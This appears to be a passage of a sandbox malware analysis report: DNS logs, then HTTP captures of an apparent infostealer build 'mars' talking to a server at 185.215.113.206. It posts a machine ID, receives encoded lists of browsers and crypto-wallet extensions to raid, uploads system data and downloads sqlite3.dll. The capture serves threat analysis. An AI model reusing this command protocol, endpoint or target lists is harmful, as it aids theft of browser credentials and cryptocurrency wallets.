Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.72	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.98	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.59.35	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.103	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.22	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.98	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.18	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:01.954956055 CET	1.1.1.1	192.168.2.6	0x262a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.102	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:37.684897900 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:37.684897900 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:38.691061974 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:38.691061974 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:39.758770943 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:39.758770943 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:41.690802097 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:41.690802097 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:45.695828915 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 27, 2024 11:15:45.695828915 CET	1.1.1.1	192.168.2.6	0x5afa	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	185.215.113.206	80	5160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:14:14.772197008 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 11:14:16.159079075 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:16.302551031 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 41 45 46 36 33 44 43 46 30 32 34 36 39 31 37 33 31 37 36 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="hwid"312AEF63DCF02469173176------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="build"mars------BFCAAEHJDBKJJKFHJEBK--
Nov 27, 2024 11:14:16.768901110 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 51 30 4e 32 46 6a 4e 7a 4a 69 4d 54 4a 6a 4d 44 59 78 59 54 68 68 4d 6a 6c 6b 5a 54 4d 79 59 6a 51 34 4f 57 52 68 4d 32 45 32 4f 47 4d 33 4e 32 46 6a 59 54 49 34 4e 44 6c 69 5a 47 52 69 5a 54 51 34 5a 54 45 35 4d 6a 59 77 4e 6a 55 30 4e 6a 4e 6c 4d 6a 6b 35 59 54 41 31 4f 44 6b 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTQ0N2FjNzJiMTJjMDYxYThhMjlkZTMyYjQ4OWRhM2E2OGM3N2FjYTI4NDliZGRiZTQ4ZTE5MjYwNjU0NjNlMjk5YTA1ODk3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 27, 2024 11:14:16.783238888 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"browsers------FBKEHJEGCFBFHJJKJEHD--
Nov 27, 2024 11:14:17.238168955 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 27, 2024 11:14:17.238291979 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 27, 2024 11:14:17.239768982 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="message"plugins------BAFCGIJDAFBKFIECBGCA--
Nov 27, 2024 11:14:17.694473028 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 27, 2024 11:14:17.694488049 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 27, 2024 11:14:17.694499969 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 27, 2024 11:14:17.694591045 CET	472	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 27, 2024 11:14:17.694616079 CET	1236	IN	Data Raw: 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 46 6c 5a 47 31 71 5a 47 5a 74 62 57 46 6f 61 47 4a 71 5a 57 5a 6a 59 6d Data Ascii: aG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGp
Nov 27, 2024 11:14:17.694940090 CET	1236	IN	Data Raw: 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 Data Ascii: aGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWF
Nov 27, 2024 11:14:17.702615976 CET	692	IN	Data Raw: 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 Data Ascii: ZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9
Nov 27, 2024 11:14:17.704193115 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="message"fplugins------ECBGCGCGIEGCBFHIIEBF--
Nov 27, 2024 11:14:18.159554958 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 27, 2024 11:14:18.176464081 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKK Host: 185.215.113.206 Content-Length: 6415 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 11:14:18.176464081 CET	6415	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 27, 2024 11:14:19.166814089 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:19.500956059 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
